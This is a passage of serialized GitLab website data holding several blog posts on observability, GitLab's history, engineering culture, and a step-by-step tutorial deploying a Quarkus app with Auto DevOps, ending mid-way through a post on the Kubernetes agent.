Devops","en-us/blog/gitlab-and-the-three-ways-of-devops.yml","en-us/blog/gitlab-and-the-three-ways-of-devops",{"_path":13711,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13712,"content":13718,"config":13723,"_id":13725,"_type":16,"title":13726,"_source":17,"_file":13727,"_stem":13728,"_extension":20},"/en-us/blog/observability-vs-monitoring-in-devops",{"title":13713,"description":13714,"ogTitle":13713,"ogDescription":13714,"noIndex":6,"ogImage":13715,"ogUrl":13716,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13716,"schema":13717},"Observability vs. monitoring in DevOps","Want to gain true and actionable visibility across your software development lifecycle? Observability is the answer.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665484/Blog/Hero%20Images/monitoring-update-feature-image.jpg","https://about.gitlab.com/blog/observability-vs-monitoring-in-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Observability vs. monitoring in DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Vanbuskirk\"}],\n        \"datePublished\": \"2022-06-14\",\n      }",{"title":13713,"description":13714,"authors":13719,"heroImage":13715,"date":13720,"body":13721,"category":734,"tags":13722},[12151],"2022-06-14","\nIn almost any modern software infrastructure, there is inevitably some form of monitoring or logging. The launch of syslog for Unix systems in the 1980s established both the value of being able to audit and understand what is going on inside a system, as well as the architectural importance of separating that mechanism.\n\nHowever, despite the value and importance of this visibility into system behavior, too often monitoring and logging are treated as an afterthought. There are countless instances of systems emitting logs into a void, never being aggregated or analyzed for critical information. Or infrastructure where legacy monitoring systems were installed a decade ago and never updated to modern standards.\n\nRecently, shifts in the operational landscape have given rise to the concept of observability. Rather than expect engineers to form their own assumptions about how their application is performing from static measurements, observability enables them to see a holistic picture of their application behavior, and critically, how a user perceives performance.\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## What is observability?\nTo understand the value in observability, it's helpful to first establish an understanding of what monitoring is, as well as what it does and does not provide in terms of information and context.\n\nAt its core, monitoring is presenting the results of measurements of different values and outputs of a given system or software stack. Common metrics for measurement are things like CPU usage, RAM usage, and response time or latency. Classic logging systems are similar; a static piece of information about an event that occurred during system operation.\n\nMonitoring provides limited-context measurements that might indicate a larger issue with the system. Aggregation and correlation are possible using traditional monitoring tools, but typically require manual configuration and tuning to provide a holistic view. As the industry has advanced, the concept of what makes for effective monitoring has moved beyond static measurements of things like CPU usage. In its now-famous SRE book, Google emphasizes that you should focus on four key metrics, known as \"[Golden Signals](https://sre.google/sre-book/monitoring-distributed-systems/)\":\n\n- Latency: The time it takes to fulfill a request\n- Traffic: High-level measurement of overall demand\n- Errors: The rate at which requests fail\n- Saturation: Measurement of resource usage as a fraction of the whole; typically focuses on constrained resources\n\nWhile these metrics help home in on a better picture of overall system performance, they still require a non-trivial engineering investment to design, build, integrate, and configure a complete monitoring system. There is considerable effort involved in enumerating failure modes, and manually defining and associating the correct correlations in even simple cases can be time-consuming.\n\nIn contrast, observability offers a much more intuitive and complete picture as a first-class feature: You don’t need to manually correlate disparate monitoring tooling. An aggregated monitoring dashboard is only as good as the last engineer that built it; conversely, an observability platform adapts itself to present critical information in the right context, automatically. This can even extend further left into the software development lifecycle (SDLC), with observability tooling providing important performance feedback during CI/CD runs, giving developers operational feedback about their code.\n\nUltimately, observability provides more holistic debugging and understanding. Observability data can show the “unknown unknowns” to better understand production incidents. For more context into \"why\" that's important, the next section highlights an excellent example where monitoring might fall short and where observability fills in the crucial story.\n\n## Why focus on observability?\nFocusing on observability can help drive down mean time to resolution (MTTR), resulting in shorter outages, better application performance, and improved customer experience. While it may seem at first glance that monitoring can provide the same advantages, consider the anecdote that follows.\n\nAn engineering organization gets a ping from the accounting department; the invoice for cloud services is getting expensive, so much so that the CFO has noticed. DevOps engineers have pored over the monitoring system to no avail; every part of the system has consistently reported being in the green for things like memory, CPU, and disk I/O. As it turns out, the root cause was another \"unknown unknown\" event: DNS latency in the CI/CD pipelines was causing builds to fail at an elevated rate. Builds needing more retries consumed a great number of cloud resources. However, this effect never persisted long enough to reflect in the monitoring system. By adding observability tooling and collecting all event types in the environment, ops was able to zero in on the source of the problem and remediate it. In a traditional monitoring system, the organization would have had to have known about the DNS latency problem a priori.\n\nObservability is also important for non-technical stakeholders and business units. As technology becomes more intertwined with the primary profit silo, software infrastructure KPIs become business KPIs. Observability can provide better insight into KPI performance, as well as self-service options for different teams.\n\nModern software and applications depend heavily on providing good user experience (UX). As the previous story illustrates, monitoring static metrics won't always tell the complete story about UX or system performance. There might be serious issues lurking behind seemingly healthy metric dashboards.\n\n## Key observability metrics\nFor organizations that have decided to implement observability tooling, the next step is to identify the core goals of observability, and how that can best be implemented across their stack.\n\nAn excellent place to start is with the three fundamental pillars of observability:\n- Logs: Information and Events\n- Metrics: Measurements of specific metrics and performance data\n- Tracing: Logging end-to-end request performance during runtime\n\nAlthough this can seem overwhelming, projects like [OpenTelemetry](https://opentelemetry.io/) are helping to drive broad standards acceptance for logging, metrics, and tracing, enabling a more consistent ecosystem and a shorter time-to-value for organizations that implement observability with tooling built on OpenTelemetry standards.\n\nAdditional observability data and pillars include\n- Error tracking: more granular logs with aggregation\n- Continuous Profiling: evaluating granular code performance\n- Real User Monitoring (RUM): Understand application performance from the perspective of an actual user\n\nLooking at these pillars, a central theme starts to emerge; it's no longer enough to look at a small slice of time and space in modern distributed systems, a holistic, 10,000-foot view is needed. Understanding application performance starts with sampling it as an actual customer experiences it, and then further monitoring the complete performance and behavior of their interaction with your software.\n\nBeyond traditional application monitoring, observability can help improve the operational excellence posture for any engineering organization. Well-crafted alerts and incident management programs are usually born out of hard lessons from real outages. Implementing [chaos engineering](https://principlesofchaos.org/) can test observability platforms during real failures, albeit in a controlled environment with known outcomes. Introducing chaos engineering into systems where \"unknown unknowns\" might hide, not just in your production workloads but your CI/CD pipelines, supply chain, and DNS can yield significant gains in operational footing.\n\n## Observability is a critical part of DevOps\nNot only is observability critical for DevOps, but also for the entire organization. Replacing the static data of legacy monitoring solutions, [observability](/direction/monitor/platform-insights/) provides a full-spectrum view of application infrastructure.\n\nDevOps teams should be working with stakeholders to share observability metrics in a way that benefits the entire organization, as well as take steps to improve the implementation. Learning, and then evangelizing the benefits of app instrumentation to development teams can make observability even more effective. DevOps teams can also help identify the root cause of production incidents faster; well-instrumented application code makes it easy to distinguish from infrastructure issues. Finally, shifting observability left along the CI/CD pipeline means potential service-level objective (SLO) deltas are caught before they reach production.\n\nDevOps teams looking to provide meaningful improvements to application performance and business outcomes can look to observability as a way to deliver both.\n\n**Watch now: Senior Developer Evangelist Michael Friedrich digs deeper into the shift from monitoring to observability:**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BkREMg8adaI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[4103,674,1268],{"slug":13724,"featured":6,"template":678},"observability-vs-monitoring-in-devops","content:en-us:blog:observability-vs-monitoring-in-devops.yml","Observability Vs Monitoring In Devops","en-us/blog/observability-vs-monitoring-in-devops.yml","en-us/blog/observability-vs-monitoring-in-devops",{"_path":13730,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13731,"content":13736,"config":13741,"_id":13743,"_type":16,"title":13744,"_source":17,"_file":13745,"_stem":13746,"_extension":20},"/en-us/blog/gitlab-15-the-retrospective",{"title":13732,"description":13733,"ogTitle":13732,"ogDescription":13733,"noIndex":6,"ogImage":13548,"ogUrl":13734,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13734,"schema":13735},"GitLab 15: The retrospective","GitLab was founded in 2011 but that was a world nearly unrecognizable today. Here's a look back at what life was like then.","https://about.gitlab.com/blog/gitlab-15-the-retrospective","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 15: The retrospective\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-06-13\",\n      }",{"title":13732,"description":13733,"authors":13737,"heroImage":13548,"date":13738,"body":13739,"category":962,"tags":13740},[11790],"2022-06-13","\nNo cloud native, no containers, and no remote work: Those were just a few of the things _missing_ from the technology landscape in 2011 when we launched GitLab 1.0. It’s been a journey, for sure. Here’s a look back at how far we’ve traveled to get to GitLab 15.\n\n## It started with source code management\n\nIn the beginning of GitLab there was source code management (SCM)... and that was it. Continuous integration (CI) became part of GitLab because our co-founder Dmitriy Zaporozhets got tired of having to keep the CI servers running separately, so we decided to bring continuous integration into the mix. Even then we knew it didn’t make sense for companies to “DIY” critical parts of their process. That being said, it did feel counterintuitive to bring SCM and CI together, but we tried it anyway. Continuous delivery (CD) eventually evolved out of the CI/SCM integration, but it is crazy to think that when we started GitLab, CI/CD was not really a consideration.\n\n## DIY DevOps really did exist\n\nWhat people were talking about, though, was DevOps, and specifically DIY DevOps because back then it was completely normal for teams to assemble a bunch of tools and call it done. When we would talk about the importance of fewer tools and more integration, people would turn up their noses. We heard a lot of “different tools for different things” and “many have sharp tools.” Today we know that a DevOps platform increases development speed and  release cadences. But back then, gluing together tools was seen as normal.\n\n## What’s old is new again\n\nBack in the day there were lots of tools and also very different programming languages than we reach for today. In the 2014 era, developers often wrote code in Ruby or JavaScript, and kept things layers away from the microprocessor. Over the years, that’s changed drastically. [Rust](/blog/rust-programming-language/) and Go – as just two examples – have brought us back to the processor and reflect today’s modern programming styles. It’s another sign of how drastically things have shifted over time.\n\n## It wasn’t cloud-y\n\nThe cloud was in its infancy when GitLab started and at the time we all thought it was probably a great solution for startups or small businesses, but perhaps not something that would ever be in widespread use. Fast-forward to today where most companies run their infrastructures in the cloud. Now it’s widely accepted a cloud native architecture helps teams deliver better software faster and cloud skepticism has drifted away.\n\n## Security was siloed\n\nSecurity teams, and tools, were completely separate entities when GitLab began and that, of course, made doing something inherently difficult even more so. Devs were asked to fix bugs without any context, process, or knowledge of deployment status, and naturally weren’t very excited about it all. Realizing this, we began slowly adding scans to our CI/CD steps so that security was part of the pipeline and not separate from it. The goal is to let developers and teams deal with security in an incremental way, rather than a large to-do list at the end of the process. And that [progress is ongoing](/blog/one-devops-platform-can-help-you-achieve-devsecops/). \n\n## Code review wasn’t integrated\n\nEleven years ago, code review wasn’t that different from security, i.e., it was something done in a distant time and place and without context. Today, merge requests are the hub of all the reviews, including code, security, and compliance, and the concept of “review” is firmly  embedded in the process. Code review itself is now getting a boost from machine learning (ML) with “suggested reviewer,” [a feature we’ve added in beta](/blog/unreview-a-year-later-how-gitlab-is-being-transformed-by-ml-powered-code-review/) at the time of this writing but will be coming to all of GitLab at some point during the 15.x releases. \n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## Open source\n\nIt’s fair to say the open source community is stronger and more visible today than it was 11 years ago. GitLab came from the open source community and we continue to proudly define our company and product as open source. Through the years, we’ve tried to keep the open source enthusiasm going by creating an environment where [customers can and do contribute regularly](/blog/how-you-contribute-to-gitlabs-open-devops-platform/) to our product. We want to continue to preserve GitLab as an open source project as well as our community and the company that sustains it all.\n\n## It’s remotely possible \n\nAnd we can’t have a comprehensive retrospective without looking at the concept of remote work. It was practically unheard of in 2011 and, though it’s been normalized today, we spent a long time taking this journey alone. So today’s reality – that [successful asynchronous work](/blog/five-ways-to-scale-remote-work/) means having a platform to enable it – is especially satisfying for us.\n",[4103,110,674],{"slug":13742,"featured":6,"template":678},"gitlab-15-the-retrospective","content:en-us:blog:gitlab-15-the-retrospective.yml","Gitlab 15 The Retrospective","en-us/blog/gitlab-15-the-retrospective.yml","en-us/blog/gitlab-15-the-retrospective",{"_path":13748,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13749,"content":13755,"config":13760,"_id":13762,"_type":16,"title":13763,"_source":17,"_file":13764,"_stem":13765,"_extension":20},"/en-us/blog/how-gitlab-iteration-value-drives-innovation-through-the-engineering-organization",{"title":13750,"description":13751,"ogTitle":13750,"ogDescription":13751,"noIndex":6,"ogImage":13752,"ogUrl":13753,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13753,"schema":13754},"How the GitLab iteration value drives innovation through the engineering","GitLab is a unique place to be a developer. Here's why.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668224/Blog/Hero%20Images/inside-our-new-development-team-lead-persona.jpg","https://about.gitlab.com/blog/how-gitlab-iteration-value-drives-innovation-through-the-engineering-organization","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the GitLab iteration value drives innovation through the engineering\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-06-10\",\n      }",{"title":13750,"description":13751,"authors":13756,"heroImage":13752,"date":13757,"body":13758,"category":6634,"tags":13759},[711],"2022-06-10","GitLab is focused on helping developers iterate faster and innovate more collaboratively – and that focus on enabling iteration extends to our own developer culture.\n\nAs an organization, our [CREDIT values](https://handbook.gitlab.com/handbook/values/) are hardwired into our operations and culture. This empowers our development teams to work together – using our own product – to offer QA, feedback, and strategies that make everyone’s work stronger and help our organization iterate faster. \n\nWe asked several engineers and engineering leaders at GitLab to tell us, in their own words, how our values come to life in our engineering organization and how that makes GitLab a unique place to be a developer.\n\n## What attracts engineers to GitLab\n\nTo start, we wanted to understand what attracted some of our current engineers and engineering leaders to join GitLab.\n\n**You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.**\n\n“I was attracted to GitLab because I knew that I had the ability to make an impact. Being remote has shattered the walls between people and teams, so anybody can approach anybody. If something means something to you, you can really work on it. This culture of transparency and collaboration is really important to me.” - [Sri Rangan](/company/team/#sri19), Fullstack Engineer, Incubation Engineering Team\n\n“People are attracted to the global diversity of the team and working asynchronously. I think we have a special working culture at GitLab. When you join, whether you're the manager of multiple people or a manager of yourself, you work asynchronously regardless of where your teams are.” - [Mek Stritti](/company/team/#meks), VP, Quality\n\n“Before coming to GitLab, I was a frontend, backend, Android developer, data scientist, and machine learning engineer, among other things. But the thing about how I work is that I like to switch between those roles. And normally in companies, you can't grow across all those roles. You need to grow as a specialist, not a generalist. But within the Incubation Engineering team, I get to do that.” - [Eduardo Bonet](/company/team/#eduardobonet), Fullstack Engineer, Incubation Engineering Team\n\n“The feedback that I quite often hear from engineers is just how strong the team is around them, and how collaborative the rest of the organization is. For my team in particular, a big part of their success is to be able to collaborate effectively with both the people that they work with and other teams. A lot of candidates are attracted to GitLab by the transparency value. Transparency is something that we really try to encourage, and it becomes a big mindset.” - [Bartek Marnane](/company/team/#bmarnane), VP, Incubation Engineering\n\n## How we ensure collaboration across the organization \n\nBeyond the aspects of GitLab that attracted many of our current engineers, it was clear that the culture they experienced during their time here ensured there was collaboration across various teams within our engineering organization. \n\n\"We have an organization that supports each other. You propose a feature, you're building something, and you can collaborate very easily across the globe, across departments with people in infrastructure and security. So when you're building something it's not all on you to ensure its stability and reliability and safety – the entire organization takes ownership of that.” - [Darby Frey](/company/team/#darbyfrey), Fullstack Engineer, Incubation Engineering\n\n“We have a strong culture of collaboration, people reach out and say, “Hey, I'm looking for someone to dogfood this,” and we're always willing to pick those up. Our team has a goal to dogfood a new feature every milestone.” - [Kyle Wiebers](/company/team/#kwiebers), Manager, Engineering, Quality Team\n\n## Why we believe in iteration (and building boring solutions when they work)\n\nOur engineering teams are always thinking about how to best deliver value and receive feedback along the way. It turns out that iteration and building boring solutions that can be delivered quickly is a great way to deliver value and receive feedback. For example, our [Incubation team](/handbook/engineering/development/incubation/) is working to move away from the natural instinct to develop a prototype, get it working, then putting it into the product.\n\n“We’re asking,'how can we look at what you are planning on doing, and then divide that into milestones where every one of those milestones can be integrated into the product?' So we get value out of it and get feedback out of it as well.” - Bartek \n\nAcross other parts of GitLab’s engineering organization, the same type of approach is being embraced.\n\n“For my team, what we try to do is identify a big problem, and then identify lots of small solutions towards that problem. The embrace of efficiency and iteration really aligns with the team that I'm on.” - Kyle\n\n“We want to ship new features quickly so we can get feedback. That first version isn’t going to be perfect, but we're okay with that. We all agree that it's better to get feedback than to spend six months polishing every pixel on a feature that maybe no one wants, and then having to throw it out.” - Darby\n\nWhether it’s our Incubation Engineering team or Quality in Engineering team, embracing iteration and collaboration as a way to achieve results has become the standard approach. \n\nLearn more about how you can contribute to a culture of empathy and productivity by launching or progressing your career at GitLab by checking out our [careers page](/jobs/).\n",[4103,4103,676],{"slug":13761,"featured":6,"template":678},"how-gitlab-iteration-value-drives-innovation-through-the-engineering-organization","content:en-us:blog:how-gitlab-iteration-value-drives-innovation-through-the-engineering-organization.yml","How Gitlab Iteration Value Drives Innovation Through The Engineering Organization","en-us/blog/how-gitlab-iteration-value-drives-innovation-through-the-engineering-organization.yml","en-us/blog/how-gitlab-iteration-value-drives-innovation-through-the-engineering-organization",{"_path":13767,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13768,"content":13773,"config":13778,"_id":13780,"_type":16,"title":13781,"_source":17,"_file":13782,"_stem":13783,"_extension":20},"/en-us/blog/how-to-automate-software-delivery-using-quarkus-and-gitlab",{"title":13769,"description":13770,"ogTitle":13769,"ogDescription":13770,"noIndex":6,"ogImage":10971,"ogUrl":13771,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13771,"schema":13772},"How to automate software delivery using Quarkus and GitLab","Here's a step-by-step guide to automated software delivery using Supersonic Subatomic Java (Quarkus) and GitLab.","https://about.gitlab.com/blog/how-to-automate-software-delivery-using-quarkus-and-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to automate software delivery using Quarkus and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2022-06-09\",\n      }",{"title":13769,"description":13770,"authors":13774,"heroImage":10971,"date":13775,"body":13776,"category":962,"tags":13777},[937],"2022-06-09","\n\nIn this day and age, organizations need to deliver innovative solutions faster than ever to their customers to stay competitive. This is why solutions that speed up software development and delivery, such as Quarkus and GitLab, are being adopted by teams across the world.\n\n[Quarkus](https://quarkus.io/), also known as the Supersonic Subatomic Java, is an open source Kubernetes-native Java stack tailored for OpenJDK HotSpot and GraalVM, crafted from respected Java libraries and standards. Quarkus has been steadily growing in popularity and use because of the benefits that it delivers: cost savings, faster time to market/value, and reliability. Quarkus offers two modes: Java and native. Its Java mode builds your application using the JDK and its native mode compiles your Java code into a native executable.\n\nGitLab, the One DevOps Platform, includes capabilities for all DevOps stages, from planning to production, all with a single model and user interface to help you ship secure code faster to any cloud and drive business results. Besides DevOps support, GitLab also offers GitOps support.\n\nThe combination of Quarkus and GitLab can empower your developers and operations teams to collaborate better, spend more time innovating to deliver business value and differentiating capabilities to end users.\n\nIn this article, we show how to automate the software delivery of a generated Quarkus application in Java mode using GitLab Auto DevOps. Below we list the steps how to accomplish this.\n\n## Prerequisite\n\nThe prerequisite for the subsequent instructions is to have a K8s cluster up and running and associated to a group in your GitLab account. For an example on how to do this, please watch this [video](https://youtu.be/QRR3WuwnxXE).\n\n## Generate your Quarkus project using the generator and upload to GitLab\n\n- From a browser window, point to the Quarkus generator site, https://code.quarkus.io, and click on the button **Generate your application**.\n\n![Generate Quarkus app](https://about.gitlab.com/images/blogimages/quarkusone.png){:small.center.}\n\nGenerate a sample Quarkus application using the generator\n{: .note.text-center}\n\n- On the popup window, click on the button **DOWNLOAD THE ZIP**, to download a sample Quarkus application in a ZIP file to your local machine. The downloaded file is named `code-with-quarkus.zip`.\n\n- Unzip the file on your local machine in a directory of your choice. This will create a new directory called `code-with-quarkus` with all the files for the sample Quarkus application.\n\n- From a browser window, open https://gitlab.com, and log in using your GitLab credentials.\n\n- Head over to the GitLab group to which you associated your K8s cluster and create a blank project named `code-with-quarkus`.\n\n![Create project code-with-quarkus](https://about.gitlab.com/images/blogimages/quarkustwo.png){: .shadow.small.center.wrap-text}\nCreate project code-with-quarkus\n{: .note.text-center}\n\n- From a Terminal window on your local machine, change directory to the newly unzipped directory `code-with-quarkus` and execute the command `rm .dockerignore` to delete the `.dockerignore` file that came with the sample Quarkus application. After removing this file, execute the following commands to populate your newly create Git project `code-with-quarkus` with the contents of this directory:\n\n**NOTE:** Depending on your version of git installed on your local machine, the commands below may vary. Keep in mind that the goal of the steps below is to upload the project on your local machine to your newly created GitLab project.\n\n```\ngit init\ngit remote add origin https://gitlab.com/[REPLACE WITH PATH TO YOUR GROUP]/code-with-quarkus.git\ngit add .\ngit commit -m \"Initial commit\"\ngit push --set-upstream origin master\n```\n\nAt this point, you should have your sample Quarkus application in your GitLab project `code-with-quarkus`.\n\n## Modify the generated Dockerfile.jvm file and indicate its location\n\nSince the location of the Dockerfile is not at the root level of the project, we need to create a project variable DOCKERFILE_PATH and set it to `src/main/docker/Dockerfile.jvm` to indicate to the Auto Build job where to find the Dockerfile to build the container image.\n\n- From your `code-with-quarkus` GitLab project window, select **Settings > CI/CD** from the left vertical navigation menu.\n\n- Scroll to the **Variables** section on the screen and click on the **Expand** button on the right hand side of the section.\n\n- Click on the **Add Variable** button and enter the following values for the fields in the popup:\n\n```\nKey = DOCKERFILE_PATH\nValue = src/main/docker/Dockerfile.jvm\nType = Variable\nEnvironment scope = All (default)\nProtect variable Flag = ensure this flag is unchecked\nMask variable Flag = ensure this flag is unchecked\n```\n\nThe variable definition should look as follows:\n\n![Add var dockerfilepath](https://about.gitlab.com/images/blogimages/quarkusthree.png){: .shadow.small.center.wrap-text}\nAdd DOCKERFILE_PATH variable to the your code-with-quarkus project\n{: .note.text-center}\n\n- Click on the **Add variable** button to complete adding this variable to your project\n\nIn order for Auto Build to work, we need to make some minor modifications to the generated Dockerfile.jvm in the sample Quarkus application.\n\n- From your `code-with-quarkus` GitLab project window, navigate to the directory `src/main/docker` and click on the file `Dockerfile.jvm`. Click on the **Edit** button to start making changes to this file.\n\n- At the top of the file, you will see about 77 lines of comments. Replace all the lines following the comments with the following code segment:\n\n```\n####\nFROM openjdk:11 as builder\nRUN mkdir /build\nADD . /build/\n\nWORKDIR /build\nRUN ./mvnw package\n\nFROM registry.access.redhat.com/ubi8/openjdk-11:1.11\n\nENV LANG='en_US.UTF-8' LANGUAGE='en_US:en'\n\n# We make four distinct layers so if there are application changes the library layers can be re-used\nCOPY --from=builder --chown=185 /build/target/quarkus-app/lib/ /deployments/lib/\nCOPY --from=builder --chown=185 /build/target/quarkus-app/*.jar /deployments/\nCOPY --from=builder --chown=185 /build/target/quarkus-app/app/ /deployments/app/\nCOPY --from=builder --chown=185 /build/target/quarkus-app/quarkus/ /deployments/quarkus/\n\nEXPOSE 8080\nUSER 185\nENV AB_JOLOKIA_OFF=\"\"\nENV JAVA_OPTS=\"-Dquarkus.http.host=0.0.0.0 -Djava.util.logging.manager=org.jboss.logmanager.LogManager\"\nENV JAVA_APP_JAR=\"/deployments/quarkus-run.jar\"\n```\n\nThe lines above add a build stage called`builder` to do the Java build using the openjdk:11 image and adds a `build` working directory to the process. The rest of the lines are effectively the same as the original except that we have updated the paths of the `COPY` commands to find the appropriate files under the `build` working directory.\n\n- Click on the **Commit changes** button at the bottom of the **New file** window to create the new file.\n\n## Update the application port number\n\nThe Auto Deploy job of Auto DevOps defaults to port 5000 for applications but the sample Quarkus application uses port 8080. So, we need to override this value in the helm chart for the Auto Deploy job. This is how you do it:\n\n- From your `code-with-quarkus` GitLab project window, click on **New File** from the pop-down menu next to project root name directory as shown below:\n\n![Select new file](https://about.gitlab.com/images/blogimages/quarkusfour.png){: .shadow.small.center.wrap-text}\nSelect New file from your code-with-quarkus project top-level directory\n{: .note.text-center}\n\n- On the **New file** window, enter `.gitlab/auto-deploy-values.yaml` for the name of the new file and paste the following two lines as the content of the file:\n\n```\nservice:\n  internalPort: 8080\n```\n\nYour window should look as follows:\n\n![Update application port number for Auto Deploy](https://about.gitlab.com/images/blogimages/quarkusfive.png){: .shadow.small.center.wrap-text}\nUpdate the application port number in the helm chart for Auto Deploy\n{: .note.text-center}\n\n- Click on the **Commit changes** button at the bottom of the **New file** window to create the new file.\n\n## Update the version of the JDK\n\nThe sample Quarkus application includes a unit test that is automatically run by the Auto Test job, which uses a Java version not compatible with Quarkus resulting in “java.lang.UnsupportedClassVersionError” exceptions. To solve this, we need to adjust the Java runtime version to 11 since this is the lowest version of the JRE supported by Quarkus. Let’s do this:\n\n- From your `code-with-quarkus` GitLab project window, click on **New File** from the pop-down menu next to project root name directory and name the new file `system.properties`. As its contents, paste the following line into it:\n\n```\njava.runtime.version=11\n```\n\n- Click on the **Commit changes** button at the bottom of the **New file** window to create the new file.\n\n## Enable Auto DevOps\n\nLastly, we need to enable Auto DevOps for your `code-with-quarkus` GitLab project.\n\n- From your `code-with-quarkus` GitLab project window, select **Settings > CI/CD** from the left vertical navigation menu.\n\n- Scroll to the **Auto DevOps** section on the screen and click on the **Expand** button on the right hand side of the section.\n\n- In the section, check the **Default to Auto DevOps pipeline** checkbox. Then, for Deployment strategy, select on the radio button **Automatic deployment to staging, manual deployment to production**. Finally, click on the **Save changes** button. Here’s an example screenshot:\n\n![Enable Auto DevOps](https://about.gitlab.com/images/blogimages/quarkussix.png){: .shadow.small.center.wrap-text}\nEnable Auto DevOps for your sample Quarkus project\n{: .note.text-center}\n\nThis will launch an Auto DevOps pipeline that will build, test and deploy your application first to the staging environment and then give you the option to manually deploy to 100% of the production environment. The completed Auto DevOps pipeline should look like this:\n\n![Completed pipeline](https://about.gitlab.com/images/blogimages/completed-pipe.png){: .shadow}\nCompleted Auto DevOps pipeline for a sample Quarkus application in Java mode\n{: .note.text-center}\n\n## Conclusion\n\nThe combination of Quarkus and GitLab can empower your developers and operations teams to collaborate better, spend more time innovating to deliver business value and differentiating capabilities to end users.\n\nIn this article, we showed how to automate the software delivery of a generated Quarkus application in Java mode using GitLab Auto DevOps. Here is [a working sample project](https://gitlab.com/tech-marketing/sandbox/hn/code-with-quarkus) of this Quarkus application, whose delivery has been automated by GitLab Auto DevOps.\n\n\n\n\n\n\n\n\n\n\n",[4103,110,267],{"slug":13779,"featured":6,"template":678},"how-to-automate-software-delivery-using-quarkus-and-gitlab","content:en-us:blog:how-to-automate-software-delivery-using-quarkus-and-gitlab.yml","How To Automate Software Delivery Using Quarkus And Gitlab","en-us/blog/how-to-automate-software-delivery-using-quarkus-and-gitlab.yml","en-us/blog/how-to-automate-software-delivery-using-quarkus-and-gitlab",{"_path":13785,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13786,"content":13792,"config":13799,"_id":13801,"_type":16,"title":13802,"_source":17,"_file":13803,"_stem":13804,"_extension":20},"/en-us/blog/configuring-your-cluster-with-kubernetes-integration",{"title":13787,"description":13788,"ogTitle":13787,"ogDescription":13788,"noIndex":6,"ogImage":13789,"ogUrl":13790,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13790,"schema":13791},"Heroes journey: Working with GitLab's Kubernetes agent","A tutorial on deploying and monitoring an application in Kubernetes without leaving GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682342/Blog/Hero%20Images/treasure.jpg","https://about.gitlab.com/blog/configuring-your-cluster-with-kubernetes-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Heroes Unmasked - How I became acquainted with the GitLab Agent for Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jean-Philippe Baconnais\"}],\n        \"datePublished\": \"2022-06-08\",\n      }",{"title":13793,"description":13788,"authors":13794,"heroImage":13789,"date":13796,"body":13797,"category":813,"tags":13798},"GitLab Heroes Unmasked - How I became acquainted with the GitLab Agent for Kubernetes",[13795],"Jean-Philippe Baconnais","2022-06-08","\n\n_A key to GitLab’s success is our vast community of advocates. Here at GitLab, we call these active contributors \"[GitLab Heroes](/community/heroes/).\" Each hero contributes to GitLab in numerous ways, including elevating releases, sharing best practices, speaking at events, and more. Jean-Phillippe Baconnais is an active GitLab Hero, who hails from France. We applaud his contributions, including leading community engagement events. Baconnais shares his interest in Kubernetes and explains how to deploy and monitor an application in Kubernetes without leaving GitLab._ \n\nSince 2007, I’ve been a developer. I’ve learned a lot of things about continuous integration, deployment, infrastructure, and monitoring. In both my professional and personal time, my favorite activity remains software development. After creating a new application with multiple components, I wanted to deploy it on Kubernetes, which has been really famous over the last few years. This allows me to experiment on this platform. This announces a lot of very funny things. I know some terms, I used them in production for five years. But as a user, Kubernetes Administration is not my “cup of tea” 😅.\n\n## My first deployment in Kubernetes\n\nWhen I decided to deploy an application on Kubernetes, I wasn’t sure where to start until I saw, navigating in my project in GitLab, a menu called “Kubernetes.\" I wanted to know what GitLab was hiding behind this. Does this feature link my project’s sources to a Kubernetes cluster? I used the credit offered by Google Cloud to discover and test this platform. \n\nDeploying my application on Kubernetes was easy. I wrote [a blog post](https://dev.to/jphi_baconnais/deploy-an-quarkus-application-on-gke-with-gitlabci-lgp) in 2019 describing how I do this, or rather, how GitLab helped me to create this link so easily. In this blog post I will explain further and talk about what’s changed since then.\n\nBehind the “Kubernetes” menu, GitLab helps you integrate Kubernetes into your project. You can create, from GitLab, a cluster on Google Cloud Platform (GCP), and Amazon Web Services (AWS). If you already have a cluster on this platform or anywhere else, you can connect to it. You just need to specify the cluster name, Kubernetes API UR, and certificate.\n\n![Connect 